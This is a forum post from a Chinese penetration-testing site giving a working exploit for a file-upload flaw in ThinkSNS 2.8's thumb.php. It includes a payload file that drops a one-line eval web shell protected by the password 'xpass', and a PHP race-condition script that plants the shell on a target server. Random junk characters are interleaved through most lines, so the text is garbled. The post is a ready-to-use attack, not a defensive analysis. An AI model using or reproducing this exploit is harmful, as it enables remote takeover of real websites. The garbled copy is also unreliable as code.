中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本8 d! @+ P5 d% m
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)) Z3 Y' g9 o3 ~2 |5 R
漏洞文件4 @( H: M1 U3 ]) _
存在漏洞的文件为:thumb.php
3 |0 T: m4 V; r8 m0 g" Y1 D, }作者:韦鲲鹏6 T( K, B! I) v/ s5 l
1、        准备如下PHP文件并上传到服务器(自己的)。7 A' a' _7 e5 k
文件内容如下:
3 P3 `% l( k1 P; b# X% ^  m) j# B<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. @! R9 Y/ H0 q# `# p% C. l" U2、        计算出临时的文件名:; u2 n# g  ^# T. A, `
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 X6 I% k: x2 b$ j2 j5 L
# J0 n+ y* [$ ?3、        上传临时文件。" Q( }4 Q& K3 @6 D
4、        访问临时文件。
9 w; @: z1 T" c; E( \- H' T6 J但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)2 `/ ?9 X6 F+ t' e" |
Exploit文件内容如下:(这个我就不详细解释了), Y8 n; Z  _  `/ M: P. u
<?php
' x) v9 d% B# x3 g: Xerror_reporting(0);* Z- e' `, J9 d3 Z6 c
set_time_limit(0);
" v5 n$ J; y5 `. [ini_set(“default_socket_timeout”, 5);
) J+ {" t4 Y8 {3 H* G) T1 tfunction http_send($host, $port, $headers) {9 _' A+ D9 ], }( M
$fp = fsockopen($host, $port);4 T6 l) C* y. Y/ |- H4 m  M
if (!$fp) die(‘Connection -> fail’);
8 t) L  d0 ]$ w% ]# [. t1 nfputs($fp, $headers);
4 U  D* {5 a% ?' {4 x6 P0 dreturn $fp;3 k% Z8 Q$ H% K0 D9 @
}
0 `+ }* W/ n; i, T$ X" a1 Hfunction http_recv($fp) {
) L: m3 |! }0 U! C6 s% ]6 Y$ret=”";
8 {; f5 r% d# I/ j# K" v" Iwhile (!feof($fp))
% J" V$ L, _8 |5 \2 I0 Q& }$ret.= fgets($fp, 1024);5 o$ l5 C( v6 Z1 m' f! n2 i' X
fclose($fp);9 S/ |& \% y; D1 j& t0 H% \; v
return $ret;
/ }! i. Y; z2 a7 n; _* b- X! |}3 P$ f( u* x, [+ p/ x. h7 C
print “\n#  ThinkSns Arbitrary File Upload   #\n”;$ b3 a& i1 l3 i3 P6 I7 V/ R; Z
print “# Discovered by 韦鲲鹏 #\n\n”;
% r- M: |; L) r: g& ?7 B! D2 w+ L9 x  V7 Iif ($argc < 4) {
7 P; b- A' g1 s9 [8 r3 Z2 S  n" }, sprint “Usage:   php <host> <path> <romote_url>\n”;
: n5 ]. y3 w( _9 e2 D  sprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
' l: r! p+ U2 x7 q0 u+ E4 g2 Sdie();7 H% X' _! H$ |4 X
}
4 _2 R5 \2 u7 a4 b/ K$host = $argv[1];
7 @6 y+ k0 O: k/ C5 I' A$path = $argv[2];( Z1 t$ U1 r% F) J
$url = $argv[3];
" h- e& Z/ C" Y* l! ]1 n$i=0;% r" ^  a& Y! P6 v5 U& k7 R
//上传数据包
0 T( @- U' _2 H$ k7 u# S8 T$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;- u. r6 X6 j. t
$headers_up .= “Host: “.$host.”\r\n”;
/ i9 O) N1 @  {6 g0 \6 W$headers_up .= “Connection: close\r\n\r\n”;8 k1 F2 H' b9 P
echo $headers_up;2 n" X5 O) A0 `# R  Q8 T! m) v* p
//临时文件访问数据包# |5 K* C) s( ]) e- ]% c
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" N; S% f  r4 U! U" N( C
$headers .= “Host: “.$host.”\r\n”;: X$ {& }; f  Z6 F3 E# K4 y9 [6 u2 A8 J
$headers .= “Connection: close\r\n\r\n”;* l: v6 u% S: f0 L% [/ l* e
echo $headers;" j* J! {8 a. L
while(++$i<10) {
4 n( U- Y% E1 }+ ~9 ?- ~( Ofclose(http_send($host, 80, $headers));
& ?! f  w5 q6 g" M0 _8 t' C}* V1 I8 @' @+ c7 l9 j3 O
fclose(http_send($host, 80, $headers_up));
6 N  B& w8 n1 ^: ~& D8 H* rwhile(++$i<50) {( u8 R2 A- D/ L6 D. X5 g
fclose(http_send($host, 80, $headers));1 B; {$ B7 V9 h
}
( O6 D1 w  j, q# d1 `9 J$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;+ w. l1 L$ N, Q1 `$ N$ v4 U8 ?! _. R; R
$headers .= “Host: “.$host.”\r\n”;8 ^% Q3 i: s, J
$headers .= “Connection: close\r\n\r\n”;: |; b9 P5 r$ v
$res=http_recv(http_send($host, 80, $headers));/ F9 S# p" ?* m3 a" X
if(preg_match(‘/200 OK/’,$res)) {
9 F( R1 t! _: i. ?" T; Y6 e. ?print “Success!\n\n”;
8 @! y' v/ ^; O- f9 \} else {
* d9 _/ g3 k2 d5 f, T8 y! dprint “Fail!\n\n”;8 o  J( C, }+ ?' a
}
/ t* r# x7 t! k# n?>5 }6 [' N9 ^6 x: N" L- [





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2